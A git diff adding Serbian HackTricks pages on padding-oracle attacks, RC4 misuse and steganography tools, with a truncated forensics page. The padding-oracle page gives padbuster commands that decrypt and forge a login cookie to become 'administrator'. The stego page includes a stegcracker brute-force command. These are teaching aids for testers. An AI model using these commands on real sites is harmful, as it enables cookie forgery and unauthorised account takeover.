|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
124
crypto-and-stego/padding-oracle-priv.md
Normal file
124
crypto-and-stego/padding-oracle-priv.md
Normal file
|
@ -0,0 +1,124 @@
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
|
||||||
|
# CBC - Cipher Block Chaining
|
||||||
|
|
||||||
|
U CBC režimu, **prethodni šifrovani blok se koristi kao IV** za XOR sa sledećim blokom:
|
||||||
|
|
||||||
|
![https://defuse.ca/images/cbc\_encryption.png](https://defuse.ca/images/cbc\_encryption.png)
|
||||||
|
|
||||||
|
Za dešifrovanje CBC-a se vrše **suprotne operacije**:
|
||||||
|
|
||||||
|
![https://defuse.ca/images/cbc\_decryption.png](https://defuse.ca/images/cbc\_decryption.png)
|
||||||
|
|
||||||
|
Primetite kako je potrebno koristiti **ključ za šifrovanje** i **IV**.
|
||||||
|
|
||||||
|
# Poravnavanje poruke
|
||||||
|
|
||||||
|
Pošto se šifrovanje vrši u **fiksnim veličinama blokova**, obično je potrebno poravnavanje u **poslednjem bloku** da bi se kompletirala njegova dužina.\
|
||||||
|
Obično se koristi **PKCS7**, koji generiše poravnavanje **ponavljanjem** **broja** **bajtova** **potrebnih** da se kompletira blok. Na primer, ako poslednjem bloku nedostaju 3 bajta, poravnavanje će biti `\x03\x03\x03`.
|
||||||
|
|
||||||
|
Pogledajmo još primera sa **2 bloka dužine 8 bajta**:
|
||||||
|
|
||||||
|
| bajt #0 | bajt #1 | bajt #2 | bajt #3 | bajt #4 | bajt #5 | bajt #6 | bajt #7 | bajt #0 | bajt #1 | bajt #2 | bajt #3 | bajt #4 | bajt #5 | bajt #6 | bajt #7 |
|
||||||
|
| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
|
||||||
|
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | 6 | **0x02** | **0x02** |
|
||||||
|
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | **0x03** | **0x03** | **0x03** |
|
||||||
|
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
|
||||||
|
| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
|
||||||
|
|
||||||
|
Primetite kako je u poslednjem primeru **poslednji blok bio pun pa je generisan još jedan samo sa poravnavanjem**.
|
||||||
|
|
||||||
|
# Padding Oracle
|
||||||
|
|
||||||
|
Kada aplikacija dešifruje šifrovane podatke, prvo će dešifrovati podatke, a zatim će ukloniti poravnavanje. Tokom čišćenja poravnavanja, ako **neispravno poravnavanje izazove detektovano ponašanje**, imate **ranjivost padding orakla**. Detektovano ponašanje može biti **greška**, **nedostatak rezultata** ili **sporiji odgovor**.
|
||||||
|
|
||||||
|
Ako detektujete ovo ponašanje, možete **dešifrovati šifrovane podatke** i čak **šifrovati bilo koji čisti tekst**.
|
||||||
|
|
||||||
|
## Kako iskoristiti
|
||||||
|
|
||||||
|
Možete koristiti [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) da iskoristite ovu vrstu ranjivosti ili jednostavno uraditi
|
||||||
|
```
|
||||||
|
sudo apt-get install padbuster
|
||||||
|
```
|
||||||
|
Da biste testirali da li je kolačić sajta ranjiv, možete pokušati:
|
||||||
|
```bash
|
||||||
|
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA=="
|
||||||
|
```
|
||||||
|
**Kodiranje 0** znači da se koristi **base64** (ali dostupni su i drugi, proverite meni za pomoć).
|
||||||
|
|
||||||
|
Takođe možete **zloupotrebiti ovu ranjivost da biste šifrovali nove podatke. Na primer, zamislite da je sadržaj kolačića "**_**user=MyUsername**_**", tada ga možete promeniti u "\_user=administrator\_" i povećati privilegije unutar aplikacije. Takođe to možete uraditi koristeći `padbuster` i navodeći parametar -plaintext**.
|
||||||
|
```bash
|
||||||
|
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
|
||||||
|
```
|
||||||
|
Ako je sajt ranjiv, `padbuster` će automatski pokušati da pronađe kada se javlja greška u paddingu, ali možete takođe navesti poruku o grešci koristeći parametar **-error**.
|
||||||
|
```bash
|
||||||
|
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
|
||||||
|
```
|
||||||
|
## Teorija
|
||||||
|
|
||||||
|
U **kratkim crtama**, možete početi dešifrovati šifrovane podatke tako što ćete pogađati tačne vrednosti koje mogu biti korišćene za stvaranje svih **različitih punjenja**. Zatim, napad na orakl za punjenje će početi dešifrovati bajtove od kraja prema početku pogađajući koja će biti tačna vrednost koja **stvara punjenje od 1, 2, 3, itd**.
|
||||||
|
|
||||||
|
![](<../.gitbook/assets/image (629) (1) (1).png>)
|
||||||
|
|
||||||
|
Zamislite da imate neki šifrovani tekst koji zauzima **2 bloka** formirana bajtovima od **E0 do E15**.\
|
||||||
|
Da biste **dešifrovali** **poslednji** **blok** (**E8** do **E15**), ceo blok prolazi kroz "dešifrovanje blok šifre" generišući **posredne bajtove I0 do I15**.\
|
||||||
|
Na kraju, svaki posredni bajt se **XORuje** sa prethodnim šifrovanim bajtovima (E0 do E7). Dakle:
|
||||||
|
|
||||||
|
* `C15 = D(E15) ^ E7 = I15 ^ E7`
|
||||||
|
* `C14 = I14 ^ E6`
|
||||||
|
* `C13 = I13 ^ E5`
|
||||||
|
* `C12 = I12 ^ E4`
|
||||||
|
* ...
|
||||||
|
|
||||||
|
Sada je moguće **izmeniti `E7` sve dok je `C15` `0x01`**, što će takođe biti ispravno punjenje. Dakle, u ovom slučaju: `\x01 = I15 ^ E'7`
|
||||||
|
|
||||||
|
Dakle, pronalaženjem E'7, moguće je izračunati I15: `I15 = 0x01 ^ E'7`
|
||||||
|
|
||||||
|
Što nam omogućava da **izračunamo C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
|
||||||
|
|
||||||
|
Znajući **C15**, sada je moguće **izračunati C14**, ali ovaj put brute-force metodom koristeći punjenje `\x02\x02`.
|
||||||
|
|
||||||
|
Ovaj BF je jednako složen kao i prethodni, jer je moguće izračunati E''15 čija je vrednost 0x02: `E''7 = \x02 ^ I15` tako da je potrebno samo pronaći **`E'14`** koji generiše **`C14` jednak `0x02`**.\
|
||||||
|
Zatim, uradite iste korake da biste dešifrovali C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
|
||||||
|
|
||||||
|
**Pratite ovaj lanac dok ne dešifrujete ceo šifrovani tekst.**
|
||||||
|
|
||||||
|
## Otkrivanje ranjivosti
|
||||||
|
|
||||||
|
Registrujte nalog i prijavite se sa tim nalogom.\
|
||||||
|
Ako se **mnoštvo puta prijavite** i uvek dobijete **isti kolačić**, verovatno postoji **nešto** **pogrešno** u aplikaciji. Kolačić koji se vraća trebao bi biti jedinstven svaki put kada se prijavite. Ako je kolačić **uvek** isti, verovatno će uvek biti validan i neće biti načina da se on poništi.
|
||||||
|
|
||||||
|
Sada, ako pokušate **izmeniti** kolačić, možete videti da dobijate **grešku** od aplikacije.\
|
||||||
|
Ali ako BF punjenje (koristeći na primer padbuster) uspete da dobijete drugi kolačić koji je validan za drugog korisnika. Ovaj scenario je vrlo verovatno ranjiv na padbuster.
|
||||||
|
|
||||||
|
## Reference
|
||||||
|
|
||||||
|
* [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation)
|
||||||
|
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini da podržite HackTricks:
|
||||||
|
|
||||||
|
* Ako želite da vidite svoju **kompaniju reklamiranu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
40
crypto-and-stego/rc4-encrypt-and-decrypt.md
Normal file
40
crypto-and-stego/rc4-encrypt-and-decrypt.md
Normal file
|
@ -0,0 +1,40 @@
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
|
||||||
|
Ako na neki način možete šifrovati plaintext koristeći RC4, možete dešifrovati bilo koji sadržaj koji je šifrovan tim RC4 (koristeći istu lozinku) samo koristeći funkciju šifrovanja.
|
||||||
|
|
||||||
|
Ako možete šifrovati poznati plaintext, takođe možete izvući lozinku. Više referenci možete pronaći na HTB Kryptos mašini:
|
||||||
|
|
||||||
|
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
|
||||||
|
|
||||||
|
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
234
crypto-and-stego/stego-tricks.md
Normal file
234
crypto-and-stego/stego-tricks.md
Normal file
|
@ -0,0 +1,234 @@
|
||||||
|
# Trikovi Steganografije
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJE**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
**Try Hard Security Group**
|
||||||
|
|
||||||
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
***
|
||||||
|
|
||||||
|
## **Izdvajanje Podataka iz Fajlova**
|
||||||
|
|
||||||
|
### **Binwalk**
|
||||||
|
|
||||||
|
Alat za pretragu binarnih fajlova za ugrađene skrivene fajlove i podatke. Instalira se putem `apt` i njegov izvorni kod je dostupan na [GitHub-u](https://github.com/ReFirmLabs/binwalk).
|
||||||
|
```bash
|
||||||
|
binwalk file # Displays the embedded data
|
||||||
|
binwalk -e file # Extracts the data
|
||||||
|
binwalk --dd ".*" file # Extracts all data
|
||||||
|
```
|
||||||
|
### **Foremost**
|
||||||
|
|
||||||
|
Vraća datoteke na osnovu njihovih zaglavlja i podnožja, korisno za png slike. Instalira se putem `apt` sa izvorom na [GitHub-u](https://github.com/korczis/foremost).
|
||||||
|
```bash
|
||||||
|
foremost -i file # Extracts data
|
||||||
|
```
|
||||||
|
### **Exiftool**
|
||||||
|
|
||||||
|
Pomaže u pregledu metapodataka datoteke, dostupan [ovde](https://www.sno.phy.queensu.ca/\~phil/exiftool/).
|
||||||
|
```bash
|
||||||
|
exiftool file # Shows the metadata
|
||||||
|
```
|
||||||
|
### **Exiv2**
|
||||||
|
|
||||||
|
Slično kao exiftool, za pregled metapodataka. Instalira se putem `apt`, izvorni kod na [GitHub-u](https://github.com/Exiv2/exiv2), i ima [zvaničnu veb stranicu](http://www.exiv2.org/).
|
||||||
|
```bash
|
||||||
|
exiv2 file # Shows the metadata
|
||||||
|
```
|
||||||
|
### **Fajl**
|
||||||
|
|
||||||
|
Identifikujte tip fajla sa kojim radite.
|
||||||
|
|
||||||
|
### **Niske**
|
||||||
|
|
||||||
|
Izdvaja čitljive niske iz fajlova, koristeći različite postavke enkodiranja za filtriranje rezultata.
|
||||||
|
```bash
|
||||||
|
strings -n 6 file # Extracts strings with a minimum length of 6
|
||||||
|
strings -n 6 file | head -n 20 # First 20 strings
|
||||||
|
strings -n 6 file | tail -n 20 # Last 20 strings
|
||||||
|
strings -e s -n 6 file # 7bit strings
|
||||||
|
strings -e S -n 6 file # 8bit strings
|
||||||
|
strings -e l -n 6 file # 16bit strings (little-endian)
|
||||||
|
strings -e b -n 6 file # 16bit strings (big-endian)
|
||||||
|
strings -e L -n 6 file # 32bit strings (little-endian)
|
||||||
|
strings -e B -n 6 file # 32bit strings (big-endian)
|
||||||
|
```
|
||||||
|
### **Poređenje (cmp)**
|
||||||
|
|
||||||
|
Korisno za upoređivanje modifikovanog fajla sa originalnom verzijom pronađenom online.
|
||||||
|
```bash
|
||||||
|
cmp original.jpg stego.jpg -b -l
|
||||||
|
```
|
||||||
|
## **Izdvajanje skrivenih podataka u tekstu**
|
||||||
|
|
||||||
|
### **Skriveni podaci u razmacima**
|
||||||
|
|
||||||
|
Nevidljivi znakovi u navodno praznim prostorima mogu sakriti informacije. Da biste izvukli ove podatke, posetite [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder).
|
||||||
|
|
||||||
|
## **Izdvajanje podataka iz slika**
|
||||||
|
|
||||||
|
### **Identifikacija detalja slike pomoću GraphicMagick-a**
|
||||||
|
|
||||||
|
[GraphicMagick](https://imagemagick.org/script/download.php) služi za određivanje vrsta datoteka slika i identifikaciju potencijalne korupcije. Izvršite naredbu ispod da biste pregledali sliku:
|
||||||
|
```bash
|
||||||
|
./magick identify -verbose stego.jpg
|
||||||
|
```
|
||||||
|
Da biste pokušali popraviti oštećenu sliku, dodavanje metapodataka u komentaru može pomoći:
|
||||||
|
```bash
|
||||||
|
./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg
|
||||||
|
```
|
||||||
|
### **Steghide za skrivanje podataka**
|
||||||
|
|
||||||
|
Steghide olakšava skrivanje podataka unutar `JPEG, BMP, WAV i AU` datoteka, sposoban je za ugradnju i izvlačenje šifrovanih podataka. Instalacija je jednostavna korišćenjem `apt`, a njen [izvorni kod je dostupan na GitHub-u](https://github.com/StefanoDeVuono/steghide).
|
||||||
|
|
||||||
|
**Komande:**
|
||||||
|
|
||||||
|
* `steghide info file` otkriva da li datoteka sadrži skrivene podatke.
|
||||||
|
* `steghide extract -sf file [--passphrase password]` izvlači skrivene podatke, lozinka je opcionalna.
|
||||||
|
|
||||||
|
Za web bazirano izvlačenje, posetite [ovaj veb sajt](https://futureboy.us/stegano/decinput.html).
|
||||||
|
|
||||||
|
**Bruteforce napad sa Stegcracker-om:**
|
||||||
|
|
||||||
|
* Za pokušaj probijanja lozinke na Steghide-u, koristite [stegcracker](https://github.com/Paradoxis/StegCracker.git) na sledeći način:
|
||||||
|
```bash
|
||||||
|
stegcracker <file> [<wordlist>]
|
||||||
|
```
|
||||||
|
### **zsteg za PNG i BMP datoteke**
|
||||||
|
|
||||||
|
zsteg se specijalizuje za otkrivanje skrivenih podataka u PNG i BMP datotekama. Instalacija se vrši putem `gem install zsteg`, a izvor možete pronaći na [GitHub-u](https://github.com/zed-0xff/zsteg).
|
||||||
|
|
||||||
|
**Komande:**
|
||||||
|
|
||||||
|
* `zsteg -a file` primenjuje sve metode detekcije na datoteku.
|
||||||
|
* `zsteg -E file` specificira payload za ekstrakciju podataka.
|
||||||
|
|
||||||
|
### **StegoVeritas i Stegsolve**
|
||||||
|
|
||||||
|
**stegoVeritas** proverava metapodatke, vrši transformacije slike i primenjuje LSB brute force među ostalim funkcijama. Koristite `stegoveritas.py -h` za punu listu opcija i `stegoveritas.py stego.jpg` za izvršavanje svih provera.
|
||||||
|
|
||||||
|
**Stegsolve** primenjuje različite filtere boja kako bi otkrio skrivene tekstove ili poruke unutar slika. Dostupan je na [GitHub-u](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve).
|
||||||
|
|
||||||
|
### **FFT za Otkrivanje Skrivenog Sadržaja**
|
||||||
|
|
||||||
|
Tehnike brze Furijeove transformacije (FFT) mogu otkriti skriveni sadržaj u slikama. Korisni resursi uključuju:
|
||||||
|
|
||||||
|
* [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
|
||||||
|
* [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/)
|
||||||
|
* [FFTStegPic na GitHub-u](https://github.com/0xcomposure/FFTStegPic)
|
||||||
|
|
||||||
|
### **Stegpy za Audio i Image Datoteke**
|
||||||
|
|
||||||
|
Stegpy omogućava ugradnju informacija u slikovne i audio datoteke, podržavajući formate poput PNG, BMP, GIF, WebP i WAV. Dostupan je na [GitHub-u](https://github.com/dhsdshdhk/stegpy).
|
||||||
|
|
||||||
|
### **Pngcheck za Analizu PNG Datoteka**
|
||||||
|
|
||||||
|
Za analizu PNG datoteka ili proveru njihove autentičnosti, koristite:
|
||||||
|
```bash
|
||||||
|
apt-get install pngcheck
|
||||||
|
pngcheck stego.png
|
||||||
|
```
|
||||||
|
### **Dodatni alati za analizu slika**
|
||||||
|
|
||||||
|
Za dalje istraživanje, razmotrite posetu:
|
||||||
|
|
||||||
|
* [Magic Eye Solver](http://magiceye.ecksdee.co.uk/)
|
||||||
|
* [Analiza nivoa greške slike](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
|
||||||
|
* [Outguess](https://github.com/resurrecting-open-source-projects/outguess)
|
||||||
|
* [OpenStego](https://www.openstego.com/)
|
||||||
|
* [DIIT](https://diit.sourceforge.net/)
|
||||||
|
|
||||||
|
## **Izdvajanje podataka iz audio zapisa**
|
||||||
|
|
||||||
|
**Audio steganografija** nudi jedinstvenu metodu za skrivanje informacija unutar zvučnih datoteka. Različiti alati se koriste za ugradnju ili dobijanje skrivenog sadržaja.
|
||||||
|
|
||||||
|
### **Steghide (JPEG, BMP, WAV, AU)**
|
||||||
|
|
||||||
|
Steghide je svestran alat dizajniran za skrivanje podataka u JPEG, BMP, WAV i AU datotekama. Detaljne instrukcije su dostupne u [dokumentaciji trikova steganografije](stego-tricks.md#steghide).
|
||||||
|
|
||||||
|
### **Stegpy (PNG, BMP, GIF, WebP, WAV)**
|
||||||
|
|
||||||
|
Ovaj alat je kompatibilan sa različitim formatima uključujući PNG, BMP, GIF, WebP i WAV. Za više informacija, pogledajte [odeljak o Stegpy-u](stego-tricks.md#stegpy-png-bmp-gif-webp-wav).
|
||||||
|
|
||||||
|
### **ffmpeg**
|
||||||
|
|
||||||
|
ffmpeg je ključan za procenu integriteta audio datoteka, ističući detaljne informacije i otkrivajući eventualne neslaganja.
|
||||||
|
```bash
|
||||||
|
ffmpeg -v info -i stego.mp3 -f null -
|
||||||
|
```
|
||||||
|
### **WavSteg (WAV)**
|
||||||
|
|
||||||
|
WavSteg se ističe u skrivanju i izvlačenju podataka unutar WAV fajlova koristeći strategiju najmanje značajnog bita. Dostupan je na [GitHub](https://github.com/ragibson/Steganography#WavSteg). Komande uključuju:
|
||||||
|
```bash
|
||||||
|
python3 WavSteg.py -r -b 1 -s soundfile -o outputfile
|
||||||
|
|
||||||
|
python3 WavSteg.py -r -b 2 -s soundfile -o outputfile
|
||||||
|
```
|
||||||
|
### **Deepsound**
|
||||||
|
|
||||||
|
Deepsound omogućava šifrovanje i otkrivanje informacija unutar zvučnih fajlova koristeći AES-256. Može se preuzeti sa [zvanične stranice](http://jpinsoft.net/deepsound/download.aspx).
|
||||||
|
|
||||||
|
### **Sonic Visualizer**
|
||||||
|
|
||||||
|
Neprocenjiv alat za vizuelnu i analitičku inspekciju audio fajlova, Sonic Visualizer može otkriti skrivene elemente koji nisu detektovani na druge načine. Posetite [zvanični sajt](https://www.sonicvisualiser.org/) za više informacija.
|
||||||
|
|
||||||
|
### **DTMF Tones - Dial Tones**
|
||||||
|
|
||||||
|
Detekcija DTMF tonova u audio fajlovima može se postići korišćenjem online alata poput [ovog DTMF detektora](https://unframework.github.io/dtmf-detect/) i [DialABC](http://dialabc.com/sound/detect/index.html).
|
||||||
|
|
||||||
|
## **Other Techniques**
|
||||||
|
|
||||||
|
### **Binary Length SQRT - QR Code**
|
||||||
|
|
||||||
|
Binarni podaci koji se kvadriraju u ceo broj mogu predstavljati QR kod. Koristite ovaj isječak koda za proveru:
|
||||||
|
```python
|
||||||
|
import math
|
||||||
|
math.sqrt(2500) #50
|
||||||
|
```
|
||||||
|
### **Prevod na srpski**
|
||||||
|
|
||||||
|
Za konverziju binarnog u sliku, proverite [dcode](https://www.dcode.fr/binary-image). Za čitanje QR kodova, koristite [ovaj online čitač barkoda](https://online-barcode-reader.inliteresearch.com/).
|
||||||
|
|
||||||
|
### **Prevod Brailove azbuke**
|
||||||
|
|
||||||
|
Za prevod Brailove azbuke, [Branah Braille Translator](https://www.branah.com/braille-translator) je odličan resurs.
|
||||||
|
|
||||||
|
## **Reference**
|
||||||
|
|
||||||
|
* [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
|
||||||
|
* [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)
|
||||||
|
|
||||||
|
**Try Hard Security Group**
|
||||||
|
|
||||||
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od početnika do stručnjaka sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
|
@ -0,0 +1,102 @@
|
||||||
|
# Osnovna forenzička metodologija
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
